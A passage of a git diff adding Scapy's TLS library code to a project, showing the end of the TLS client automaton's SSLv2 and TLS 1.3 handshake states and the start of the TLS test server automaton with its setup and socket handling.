self.FINAL() + + # SSLv2 handshake # + + @ATMT.state() + def SSLv2_PREPARE_CLIENTHELLO(self): + pass + + @ATMT.condition(SSLv2_PREPARE_CLIENTHELLO) + def sslv2_should_add_ClientHello(self): + self.add_record(is_sslv2=True) + p = self.client_hello or SSLv2ClientHello(challenge=randstring(16)) + self.add_msg(p) + raise self.SSLv2_ADDED_CLIENTHELLO() + + @ATMT.state() + def SSLv2_ADDED_CLIENTHELLO(self): + pass + + @ATMT.condition(SSLv2_ADDED_CLIENTHELLO) + def sslv2_should_send_ClientHello(self): + self.flush_records() + raise self.SSLv2_SENT_CLIENTHELLO() + + @ATMT.state() + def SSLv2_SENT_CLIENTHELLO(self): + raise self.SSLv2_WAITING_SERVERHELLO() + + @ATMT.state() + def SSLv2_WAITING_SERVERHELLO(self): + self.get_next_msg() + raise self.SSLv2_RECEIVED_SERVERHELLO() + + @ATMT.state() + def SSLv2_RECEIVED_SERVERHELLO(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=1) + def sslv2_should_handle_ServerHello(self): + self.raise_on_packet(SSLv2ServerHello, + self.SSLv2_HANDLED_SERVERHELLO) + + @ATMT.state() + def SSLv2_HANDLED_SERVERHELLO(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=2) + def sslv2_missing_ServerHello(self): + raise self.SSLv2_MISSING_SERVERHELLO() + + @ATMT.state() + def SSLv2_MISSING_SERVERHELLO(self): + self.vprint("Missing SSLv2 ServerHello message!") + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.condition(SSLv2_HANDLED_SERVERHELLO) + def sslv2_should_add_ClientMasterKey(self): + self.add_record(is_sslv2=True) + self.add_msg(SSLv2ClientMasterKey()) + raise self.SSLv2_ADDED_CLIENTMASTERKEY() + + @ATMT.state() + def SSLv2_ADDED_CLIENTMASTERKEY(self): + pass + + @ATMT.condition(SSLv2_ADDED_CLIENTMASTERKEY) + def sslv2_should_send_ClientMasterKey(self): + self.flush_records() + raise self.SSLv2_SENT_CLIENTMASTERKEY() + + @ATMT.state() + def SSLv2_SENT_CLIENTMASTERKEY(self): + raise self.SSLv2_WAITING_SERVERVERIFY() + + @ATMT.state() + def SSLv2_WAITING_SERVERVERIFY(self): + # We give the server 0.5 second to send his ServerVerify. + # Else we assume that he's waiting for our ClientFinished. + self.get_next_msg(0.5, 0) + raise self.SSLv2_RECEIVED_SERVERVERIFY() + + @ATMT.state() + def SSLv2_RECEIVED_SERVERVERIFY(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=1) + def sslv2_should_handle_ServerVerify(self): + self.raise_on_packet(SSLv2ServerVerify, + self.SSLv2_HANDLED_SERVERVERIFY, + get_next_msg=False) + + @ATMT.state() + def SSLv2_HANDLED_SERVERVERIFY(self): + pass + + def sslv2_should_add_ClientFinished(self): + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if SSLv2ClientFinished in hs_msg: + return + self.add_record(is_sslv2=True) + self.add_msg(SSLv2ClientFinished()) + raise self.SSLv2_ADDED_CLIENTFINISHED() + + @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=1) + def sslv2_should_add_ClientFinished_from_ServerVerify(self): + return self.sslv2_should_add_ClientFinished() + + @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=2) + def sslv2_should_wait_ServerFinished_from_ServerVerify(self): + raise self.SSLv2_WAITING_SERVERFINISHED() + + @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=2) + def sslv2_should_add_ClientFinished_from_NoServerVerify(self): + return self.sslv2_should_add_ClientFinished() + + @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=3) + def sslv2_missing_ServerVerify(self): + raise self.SSLv2_MISSING_SERVERVERIFY() + + @ATMT.state(final=True) + def SSLv2_MISSING_SERVERVERIFY(self): + self.vprint("Missing SSLv2 ServerVerify message!") + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.state() + def SSLv2_ADDED_CLIENTFINISHED(self): + pass + + @ATMT.condition(SSLv2_ADDED_CLIENTFINISHED) + def sslv2_should_send_ClientFinished(self): + self.flush_records() + raise self.SSLv2_SENT_CLIENTFINISHED() + + @ATMT.state() + def SSLv2_SENT_CLIENTFINISHED(self): + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if SSLv2ServerVerify in hs_msg: + raise self.SSLv2_WAITING_SERVERFINISHED() + else: + self.get_next_msg() + raise self.SSLv2_RECEIVED_SERVERVERIFY() + + @ATMT.state() + def SSLv2_WAITING_SERVERFINISHED(self): + self.get_next_msg() + raise self.SSLv2_RECEIVED_SERVERFINISHED() + + @ATMT.state() + def SSLv2_RECEIVED_SERVERFINISHED(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=1) + def sslv2_should_handle_ServerFinished(self): + self.raise_on_packet(SSLv2ServerFinished, + self.SSLv2_HANDLED_SERVERFINISHED) + + # SSLv2 client authentication # + + @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=2) + def sslv2_should_handle_RequestCertificate(self): + self.raise_on_packet(SSLv2RequestCertificate, + self.SSLv2_HANDLED_REQUESTCERTIFICATE) + + @ATMT.state() + def SSLv2_HANDLED_REQUESTCERTIFICATE(self): + self.vprint("Server asked for a certificate...") + if not self.mykey or not self.mycert: + self.vprint("No client certificate to send!") + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.condition(SSLv2_HANDLED_REQUESTCERTIFICATE) + def sslv2_should_add_ClientCertificate(self): + self.add_record(is_sslv2=True) + self.add_msg(SSLv2ClientCertificate(certdata=self.mycert)) + raise self.SSLv2_ADDED_CLIENTCERTIFICATE() + + @ATMT.state() + def SSLv2_ADDED_CLIENTCERTIFICATE(self): + pass + + @ATMT.condition(SSLv2_ADDED_CLIENTCERTIFICATE) + def sslv2_should_send_ClientCertificate(self): + self.flush_records() + raise self.SSLv2_SENT_CLIENTCERTIFICATE() + + @ATMT.state() + def SSLv2_SENT_CLIENTCERTIFICATE(self): + raise self.SSLv2_WAITING_SERVERFINISHED() + + # end of SSLv2 client authentication # + + @ATMT.state() + def SSLv2_HANDLED_SERVERFINISHED(self): + self.vprint("SSLv2 handshake completed!") + self.vprint_sessioninfo() + self.vprint("You may send data or use 'quit'.") + + @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=3) + def sslv2_missing_ServerFinished(self): + raise self.SSLv2_MISSING_SERVERFINISHED() + + @ATMT.state() + def SSLv2_MISSING_SERVERFINISHED(self): + self.vprint("Missing SSLv2 ServerFinished message!") + raise self.SSLv2_CLOSE_NOTIFY() + + # end of SSLv2 handshake # + + @ATMT.condition(SSLv2_HANDLED_SERVERFINISHED) + def sslv2_should_wait_ClientData(self): + raise self.SSLv2_WAITING_CLIENTDATA() + + @ATMT.state() + def SSLv2_WAITING_CLIENTDATA(self): + pass + + @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=1) + def sslv2_add_ClientData(self): + if not self.data_to_send: + data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode() # noqa: E501 + else: + data = self.data_to_send.pop() + self.vprint("> Read from list: %s" % data) + if data == "quit": + return + if self.linebreak: + data += "\n" + self.add_record(is_sslv2=True) + self.add_msg(Raw(data)) + raise self.SSLv2_ADDED_CLIENTDATA() + + @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=2) + def sslv2_no_more_ClientData(self): + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.state() + def SSLv2_ADDED_CLIENTDATA(self): + pass + + @ATMT.condition(SSLv2_ADDED_CLIENTDATA) + def sslv2_should_send_ClientData(self): + self.flush_records() + raise self.SSLv2_SENT_CLIENTDATA() + + @ATMT.state() + def SSLv2_SENT_CLIENTDATA(self): + raise self.SSLv2_WAITING_SERVERDATA() + + @ATMT.state() + def SSLv2_WAITING_SERVERDATA(self): + self.get_next_msg(0.3, 1) + raise self.SSLv2_RECEIVED_SERVERDATA() + + @ATMT.state() + def SSLv2_RECEIVED_SERVERDATA(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_SERVERDATA) + def sslv2_should_handle_ServerData(self): + if not self.buffer_in: + raise self.SSLv2_WAITING_CLIENTDATA() + p = self.buffer_in[0] + print("> Received: %r" % p.load) + if p.load.startswith(b"goodbye"): + raise self.SSLv2_CLOSE_NOTIFY() + self.buffer_in = self.buffer_in[1:] + raise self.SSLv2_HANDLED_SERVERDATA() + + @ATMT.state() + def SSLv2_HANDLED_SERVERDATA(self): + raise self.SSLv2_WAITING_CLIENTDATA() + + @ATMT.state() + def SSLv2_CLOSE_NOTIFY(self): + """ + There is no proper way to end an SSLv2 session. + We try and send a 'goodbye' message as a substitute. + """ + self.vprint() + self.vprint("Trying to send a 'goodbye' to the server...") + + @ATMT.condition(SSLv2_CLOSE_NOTIFY) + def sslv2_close_session(self): + self.add_record() + self.add_msg(Raw('goodbye')) + try: + self.flush_records() + except Exception: + self.vprint("Could not send our goodbye. The server probably stopped.") # noqa: E501 + self.socket.close() + raise self.FINAL() + + # TLS 1.3 handshake # + + @ATMT.state() + def TLS13_START(self): + pass + + @ATMT.condition(TLS13_START) + def tls13_should_add_ClientHello(self): + # we have to use the legacy, plaintext TLS record here + supported_groups = ["secp256r1", "secp384r1", "x448"] + if conf.crypto_valid_advanced: + supported_groups.append("x25519") + self.add_record(is_tls13=False) + if self.client_hello: + p = self.client_hello + else: + if self.ciphersuite is None: + c = 0x1301 + else: + c = self.ciphersuite + p = TLS13ClientHello(ciphers=c) + + ext = [] + ext += TLS_Ext_SupportedVersion_CH(versions=["TLS 1.3"]) + + s = self.cur_session + + if s.tls13_psk_secret: + # Check if DHE is need (both for out of band and resumption PSK) + if self.tls13_psk_mode == "psk_dhe_ke": + ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_dhe_ke") + ext += TLS_Ext_SupportedGroups(groups=supported_groups) + ext += TLS_Ext_KeyShare_CH( + client_shares=[KeyShareEntry(group=self.curve)] + ) + else: + ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_ke") + + # RFC844, section 4.2.11. + # "The "pre_shared_key" extension MUST be the last extension + # in the ClientHello " + # Compute the pre_shared_key extension for resumption PSK + if s.client_session_ticket: + cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] # noqa: E501 + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + # We compute the client's view of the age of the ticket (ie + # the time since the receipt of the ticket) in ms + agems = int((time.time() - s.client_ticket_age) * 1000) + # Then we compute the obfuscated version of the ticket age + # by adding the "ticket_age_add" value included in the + # ticket (modulo 2^32) + obfuscated_age = ((agems + s.client_session_ticket_age_add) & + 0xffffffff) + + psk_id = PSKIdentity(identity=s.client_session_ticket, + obfuscated_ticket_age=obfuscated_age) + + psk_binder_entry = PSKBinderEntry(binder_len=hash_len, + binder=b"\x00" * hash_len) + + ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], + binders=[psk_binder_entry]) + else: + # Compute the pre_shared_key extension for out of band PSK + # (SHA256 is used as default hash function for HKDF for out + # of band PSK) + hkdf = TLS13_HKDF("sha256") + hash_len = hkdf.hash.digest_size + psk_id = PSKIdentity(identity='Client_identity') + # XXX see how to not pass binder as argument + psk_binder_entry = PSKBinderEntry(binder_len=hash_len, + binder=b"\x00" * hash_len) + + ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], + binders=[psk_binder_entry]) + else: + ext += TLS_Ext_SupportedGroups(groups=supported_groups) + ext += TLS_Ext_KeyShare_CH( + client_shares=[KeyShareEntry(group=self.curve)] + ) + ext += TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss", + "sha256+rsa"]) + # Add TLS_Ext_ServerName + if self.remote_name: + ext += TLS_Ext_ServerName( + servernames=[ServerName(servername=self.remote_name)] + ) + p.ext = ext + self.add_msg(p) + raise self.TLS13_ADDED_CLIENTHELLO() + + @ATMT.state() + def TLS13_ADDED_CLIENTHELLO(self): + raise self.TLS13_SENDING_CLIENTFLIGHT1() + + @ATMT.state() + def TLS13_SENDING_CLIENTFLIGHT1(self): + pass + + @ATMT.condition(TLS13_SENDING_CLIENTFLIGHT1) + def tls13_should_send_ClientFlight1(self): + self.flush_records() + raise self.TLS13_SENT_CLIENTFLIGHT1() + + @ATMT.state() + def TLS13_SENT_CLIENTFLIGHT1(self): + raise self.TLS13_WAITING_SERVERFLIGHT1() + + @ATMT.state() + def TLS13_WAITING_SERVERFLIGHT1(self): + self.get_next_msg() + raise self.TLS13_RECEIVED_SERVERFLIGHT1() + + @ATMT.state() + def TLS13_RECEIVED_SERVERFLIGHT1(self): + pass + + @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=1) + def tls13_should_handle_ServerHello(self): + """ + XXX We should check the ServerHello attributes for discrepancies with + our own ClientHello. + """ + self.raise_on_packet(TLS13ServerHello, + self.TLS13_HANDLED_SERVERHELLO) + + @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=2) + def tls13_should_handle_HelloRetryRequest(self): + """ + XXX We should check the ServerHello attributes for discrepancies with + our own ClientHello. + """ + self.raise_on_packet(TLS13HelloRetryRequest, + self.TLS13_HELLO_RETRY_REQUESTED) + + @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=3) + def tls13_should_handle_AlertMessage_(self): + self.raise_on_packet(TLSAlert, + self.CLOSE_NOTIFY) + + @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=4) + def tls13_missing_ServerHello(self): + raise self.MISSING_SERVERHELLO() + + @ATMT.state() + def TLS13_HELLO_RETRY_REQUESTED(self): + pass + + @ATMT.condition(TLS13_HELLO_RETRY_REQUESTED) + def tls13_should_add_ClientHello_Retry(self): + s = self.cur_session + s.tls13_retry = True + # we have to use the legacy, plaintext TLS record here + self.add_record(is_tls13=False) + # We retrieve the group to be used and the selected version from the + # previous message + hrr = s.handshake_messages_parsed[-1] + if isinstance(hrr, TLS13HelloRetryRequest): + pass + ciphersuite = hrr.cipher + if hrr.ext: + for e in hrr.ext: + if isinstance(e, TLS_Ext_KeyShare_HRR): + selected_group = e.selected_group + if isinstance(e, TLS_Ext_SupportedVersion_SH): + selected_version = e.version + if not selected_group or not selected_version: + raise self.CLOSE_NOTIFY() + + ext = [] + ext += TLS_Ext_SupportedVersion_CH(versions=[_tls_version[selected_version]]) # noqa: E501 + + if s.tls13_psk_secret: + if self.tls13_psk_mode == "psk_dhe_ke": + ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_dhe_ke"), + ext += TLS_Ext_SupportedGroups(groups=[_tls_named_groups[selected_group]]) # noqa: E501 + ext += TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=selected_group)]) # noqa: E501 + else: + ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_ke") + + if s.client_session_ticket: + + # XXX Retrieve parameters from first ClientHello... + cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + + # We compute the client's view of the age of the ticket (ie + # the time since the receipt of the ticket) in ms + agems = int((time.time() - s.client_ticket_age) * 1000) + + # Then we compute the obfuscated version of the ticket age by + # adding the "ticket_age_add" value included in the ticket + # (modulo 2^32) + obfuscated_age = ((agems + s.client_session_ticket_age_add) & + 0xffffffff) + + psk_id = PSKIdentity(identity=s.client_session_ticket, + obfuscated_ticket_age=obfuscated_age) + + psk_binder_entry = PSKBinderEntry(binder_len=hash_len, + binder=b"\x00" * hash_len) + + ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], + binders=[psk_binder_entry]) + else: + hkdf = TLS13_HKDF("sha256") + hash_len = hkdf.hash.digest_size + psk_id = PSKIdentity(identity='Client_identity') + psk_binder_entry = PSKBinderEntry(binder_len=hash_len, + binder=b"\x00" * hash_len) + + ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], + binders=[psk_binder_entry]) + + else: + ext += TLS_Ext_SupportedGroups(groups=[_tls_named_groups[selected_group]]) # noqa: E501 + ext += TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=selected_group)]) # noqa: E501 + ext += TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss"]) + + p = TLS13ClientHello(ciphers=ciphersuite, ext=ext) + self.add_msg(p) + raise self.TLS13_ADDED_CLIENTHELLO() + + @ATMT.state() + def TLS13_HANDLED_SERVERHELLO(self): + pass + + @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=1) + def tls13_should_handle_encrytpedExtensions(self): + self.raise_on_packet(TLSEncryptedExtensions, + self.TLS13_HANDLED_ENCRYPTEDEXTENSIONS) + + @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=2) + def tls13_should_handle_ChangeCipherSpec(self): + self.raise_on_packet(TLSChangeCipherSpec, + self.TLS13_HANDLED_CHANGE_CIPHER_SPEC) + + @ATMT.state() + def TLS13_HANDLED_CHANGE_CIPHER_SPEC(self): + self.cur_session.middlebox_compatibility = True + raise self.TLS13_HANDLED_SERVERHELLO() + + @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=3) + def tls13_missing_encryptedExtension(self): + self.vprint("Missing TLS 1.3 EncryptedExtensions message!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def TLS13_HANDLED_ENCRYPTEDEXTENSIONS(self): + pass + + @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=1) + def tls13_should_handle_certificateRequest_from_encryptedExtensions(self): + """ + XXX We should check the CertificateRequest attributes for discrepancies + with the cipher suite, etc. + """ + self.raise_on_packet(TLS13CertificateRequest, + self.TLS13_HANDLED_CERTIFICATEREQUEST) + + @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=2) + def tls13_should_handle_certificate_from_encryptedExtensions(self): + self.tls13_should_handle_Certificate() + + @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=3) + def tls13_should_handle_finished_from_encryptedExtensions(self): + if self.cur_session.tls13_psk_secret: + self.raise_on_packet(TLSFinished, + self.TLS13_HANDLED_FINISHED) + + @ATMT.state() + def TLS13_HANDLED_CERTIFICATEREQUEST(self): + pass + + @ATMT.condition(TLS13_HANDLED_CERTIFICATEREQUEST, prio=1) + def tls13_should_handle_Certificate_from_CertificateRequest(self): + return self.tls13_should_handle_Certificate() + + def tls13_should_handle_Certificate(self): + self.raise_on_packet(TLS13Certificate, + self.TLS13_HANDLED_CERTIFICATE) + + @ATMT.state() + def TLS13_HANDLED_CERTIFICATE(self): + pass + + @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=1) + def tls13_should_handle_CertificateVerify(self): + self.raise_on_packet(TLSCertificateVerify, + self.TLS13_HANDLED_CERTIFICATE_VERIFY) + + @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=2) + def tls13_missing_CertificateVerify(self): + self.vprint("Missing TLS 1.3 CertificateVerify message!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def TLS13_HANDLED_CERTIFICATE_VERIFY(self): + pass + + @ATMT.condition(TLS13_HANDLED_CERTIFICATE_VERIFY, prio=1) + def tls13_should_handle_finished(self): + self.raise_on_packet(TLSFinished, + self.TLS13_HANDLED_FINISHED) + + @ATMT.state() + def TLS13_HANDLED_FINISHED(self): + raise self.TLS13_PREPARE_CLIENTFLIGHT2() + + @ATMT.state() + def TLS13_PREPARE_CLIENTFLIGHT2(self): + if self.cur_session.middlebox_compatibility: + self.add_record(is_tls12=True) + self.add_msg(TLSChangeCipherSpec()) + self.add_record(is_tls13=True) + + @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=1) + def tls13_should_add_ClientCertificate(self): + """ + If the server sent a CertificateRequest, we send a Certificate message. + If no certificate is available, an empty Certificate message is sent: + - this is a SHOULD in RFC 4346 (Section 7.4.6) + - this is a MUST in RFC 5246 (Section 7.4.6) + + XXX We may want to add a complete chain. + """ + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if TLS13CertificateRequest not in hs_msg: + raise self.TLS13_ADDED_CLIENTCERTIFICATE() + # return + certs = [] + if self.mycert: + certs += _ASN1CertAndExt(cert=self.mycert) + + self.add_msg(TLS13Certificate(certs=certs)) + raise self.TLS13_ADDED_CLIENTCERTIFICATE() + + @ATMT.state() + def TLS13_ADDED_CLIENTCERTIFICATE(self): + pass + + @ATMT.condition(TLS13_ADDED_CLIENTCERTIFICATE, prio=1) + def tls13_should_add_ClientCertificateVerify(self): + """ + XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify + message is only sent following a client certificate that has signing + capability (i.e. not those containing fixed DH params). + We should verify that before adding the message. We should also handle + the case when the Certificate message was empty. + """ + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if (TLS13CertificateRequest not in hs_msg or + self.mycert is None or + self.mykey is None): + return self.tls13_should_add_ClientFinished() + self.add_msg(TLSCertificateVerify()) + raise self.TLS13_ADDED_CERTIFICATEVERIFY() + + @ATMT.state() + def TLS13_ADDED_CERTIFICATEVERIFY(self): + return self.tls13_should_add_ClientFinished() + + @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=2) + def tls13_should_add_ClientFinished(self): + self.add_msg(TLSFinished()) + raise self.TLS13_ADDED_CLIENTFINISHED() + + @ATMT.state() + def TLS13_ADDED_CLIENTFINISHED(self): + pass + + @ATMT.condition(TLS13_ADDED_CLIENTFINISHED) + def tls13_should_send_ClientFlight2(self): + self.flush_records() + raise self.TLS13_SENT_CLIENTFLIGHT2() + + @ATMT.state() + def TLS13_SENT_CLIENTFLIGHT2(self): + self.vprint("TLS 1.3 handshake completed!") + self.vprint_sessioninfo() + self.vprint("You may send data or use 'quit'.") + raise self.WAIT_CLIENTDATA() + + @ATMT.state(final=True) + def FINAL(self): + # We might call shutdown, but it may happen that the server + # did not wait for us to shutdown after answering our data query. + # self.socket.shutdown(1) + self.vprint("Closing client socket...") + self.socket.close() + self.vprint("Ending TLS client automaton.") diff --git a/libs/scapy/layers/tls/automaton_srv.py b/libs/scapy/layers/tls/automaton_srv.py new file mode 100755 index 0000000..f26d48d --- /dev/null +++ b/libs/scapy/layers/tls/automaton_srv.py @@ -0,0 +1,1397 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +TLS server automaton. This makes for a primitive TLS stack. +Obviously you need rights for network access. + +We support versions SSLv2 to TLS 1.3, along with many features. + +In order to run a server listening on tcp/4433: +> from scapy.all import * +> t = TLSServerAutomaton(mycert='', mykey='') +> t.run() +""" + +from __future__ import print_function +import socket +import binascii +import struct +import time + +from scapy.config import conf +from scapy.packet import Raw +from scapy.pton_ntop import inet_pton +from scapy.utils import get_temp_file, randstring, repr_hex +from scapy.automaton import ATMT +from scapy.error import warning +from scapy.layers.tls.automaton import _TLSAutomaton +from scapy.layers.tls.cert import PrivKeyRSA, PrivKeyECDSA +from scapy.layers.tls.basefields import _tls_version +from scapy.layers.tls.session import tlsSession +from scapy.layers.tls.crypto.groups import _tls_named_groups +from scapy.layers.tls.extensions import TLS_Ext_SupportedVersion_SH, \ + TLS_Ext_SupportedGroups, TLS_Ext_Cookie, \ + TLS_Ext_SignatureAlgorithms, TLS_Ext_PSKKeyExchangeModes, \ + TLS_Ext_EarlyDataIndicationTicket +from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_SH, \ + KeyShareEntry, TLS_Ext_KeyShare_HRR, TLS_Ext_PreSharedKey_CH, \ + TLS_Ext_PreSharedKey_SH +from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ + TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, TLSFinished, \ + TLSServerHello, TLSServerHelloDone, TLSServerKeyExchange, \ + _ASN1CertAndExt, TLS13ServerHello, TLS13Certificate, TLS13ClientHello, \ + TLSEncryptedExtensions, TLS13HelloRetryRequest, TLS13CertificateRequest, \ + TLS13KeyUpdate, TLS13NewSessionTicket +from scapy.layers.tls.handshake_sslv2 import SSLv2ClientCertificate, \ + SSLv2ClientFinished, SSLv2ClientHello, SSLv2ClientMasterKey, \ + SSLv2RequestCertificate, SSLv2ServerFinished, SSLv2ServerHello, \ + SSLv2ServerVerify +from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ + TLSApplicationData +from scapy.layers.tls.record_tls13 import TLS13 +from scapy.layers.tls.crypto.hkdf import TLS13_HKDF +from scapy.layers.tls.crypto.suites import _tls_cipher_suites_cls, \ + get_usable_ciphersuites + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import hashes + + +class TLSServerAutomaton(_TLSAutomaton): + """ + A simple TLS test server automaton. Try to overload some states or + conditions and see what happens on the other side. + + Because of socket and automaton limitations, for now, the best way to + interrupt the server is by sending him 'stop_server'. Interruptions with + Ctrl-Z should work, but this might leave a loose listening socket behind. + + In case the server receives a TLSAlert (whatever its type), or a 'goodbye' + message in a SSLv2 version, he will close the client session with a + similar message, and start waiting for new client connections. + + _'mycert' and 'mykey' may be provided as filenames. They are needed for any + server authenticated handshake. + _'preferred_ciphersuite' allows the automaton to choose a cipher suite when + offered in the ClientHello. If absent, another one will be chosen. + _'client_auth' means the client has to provide a certificate. + _'is_echo_server' means that everything received will be sent back. + _'max_client_idle_time' is the maximum silence duration from the client. + Once this limit has been reached, the client (if still here) is dropped, + and we wait for a new connection. + """ + + def parse_args(self, server="127.0.0.1", sport=4433, + mycert=None, mykey=None, + preferred_ciphersuite=None, + client_auth=False, + is_echo_server=True, + max_client_idle_time=60, + handle_session_ticket=None, + session_ticket_file=None, + curve=None, + cookie=False, + psk=None, + psk_mode=None, + **kargs): + + super(TLSServerAutomaton, self).parse_args(mycert=mycert, + mykey=mykey, + **kargs) + try: + if ':' in server: + inet_pton(socket.AF_INET6, server) + else: + inet_pton(socket.AF_INET, server) + tmp = socket.getaddrinfo(server, sport) + except Exception: + tmp = socket.getaddrinfo(socket.getfqdn(server), sport) + + self.serversocket = None + self.ip_family = tmp[0][0] + self.local_ip = tmp[0][4][0] + self.local_port = sport + self.remote_ip = None + self.remote_port = None + + self.preferred_ciphersuite = preferred_ciphersuite + self.client_auth = client_auth + self.is_echo_server = is_echo_server + self.max_client_idle_time = max_client_idle_time + self.curve = None + self.cookie = cookie + self.psk_secret = psk + self.psk_mode = psk_mode + if handle_session_ticket is None: + handle_session_ticket = session_ticket_file is not None + if handle_session_ticket: + session_ticket_file = session_ticket_file or get_temp_file() + self.handle_session_ticket = handle_session_ticket + self.session_ticket_file = session_ticket_file + for (group_id, ng) in _tls_named_groups.items(): + if ng == curve: + self.curve = group_id + + def vprint_sessioninfo(self): + if self.verbose: + s = self.cur_session + v = _tls_version[s.tls_version] + self.vprint("Version : %s" % v) + cs = s.wcs.ciphersuite.name + self.vprint("Cipher suite : %s" % cs) + if s.tls_version < 0x0304: + ms = s.master_secret + else: + ms = s.tls13_master_secret + self.vprint("Master secret : %s" % repr_hex(ms)) + if s.client_certs: + self.vprint("Client certificate chain: %r" % s.client_certs) + + if s.tls_version >= 0x0304: + res_secret = s.tls13_derived_secrets["resumption_secret"] + self.vprint("Resumption master secret : %s" % + repr_hex(res_secret)) + self.vprint() + + def http_sessioninfo(self): + header = "HTTP/1.1 200 OK\r\n" + header += "Server: Scapy TLS Extension\r\n" + header += "Content-type: text/html\r\n" + header += "Content-length: %d\r\n\r\n" + s = "----- Scapy TLS Server Automaton -----\n\n" + s += "Information on current TLS session:\n\n" + s += "Local end : %s:%d\n" % (self.local_ip, self.local_port) + s += "Remote end : %s:%d\n" % (self.remote_ip, self.remote_port) + v = _tls_version[self.cur_session.tls_version] + s += "Version : %s\n" % v + cs = self.cur_session.wcs.ciphersuite.name + s += "Cipher suite : %s\n" % cs + if self.cur_session.tls_version < 0x0304: + ms = self.cur_session.master_secret + else: + ms = self.cur_session.tls13_master_secret + + s += "Master secret : %s\n" % repr_hex(ms) + body = "
%s
\r\n\r\n" % s + answer = (header + body) % len(body) + return answer + + @ATMT.state(initial=True) + def INITIAL(self): + self.vprint("Starting TLS server automaton.") + self.vprint("Receiving 'stop_server' will cause a graceful exit.") + self.vprint("Interrupting with Ctrl-Z might leave a loose socket hanging.") # noqa: E501 + raise self.BIND() + + @ATMT.state() + def BIND(self): + s = socket.socket(self.ip_family, socket.SOCK_STREAM) + self.serversocket = s + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + s.bind((self.local_ip, self.local_port)) + s.listen(1) + except Exception as e: + m = "Unable to bind on %s:%d! (%s)" % ( + self.local_ip, + self.local_port, + e + ) + self.vprint() + self.vprint(m) + self.vprint("Maybe some server is already listening there?") + self.vprint() + raise self.FINAL() + raise self.WAITING_CLIENT() + + @ATMT.state() + def WAITING_CLIENT(self): + self.buffer_out = [] + self.buffer_in = [] + self.vprint() + self.vprint("Waiting for a new client on %s:%d" % (self.local_ip, + self.local_port)) + self.socket, addr = self.serversocket.accept() + if not isinstance(addr, tuple): + addr = self.socket.getpeername() + if len(addr) > 2: + addr = (addr[0], addr[1]) + self.remote_ip, self.remote_port = addr + self.vprint("Accepted connection from %s:%d" % (self.remote_ip, + self.remote_port)) + self.vprint() + raise self.INIT_TLS_SESSION() + + @ATMT.state() + def INIT_TLS_SESSION(self): + """ + XXX We should offer the right key according to the client's suites. For + now server_rsa_key is only used for RSAkx, but we should try to replace + every server_key with both server_rsa_key and 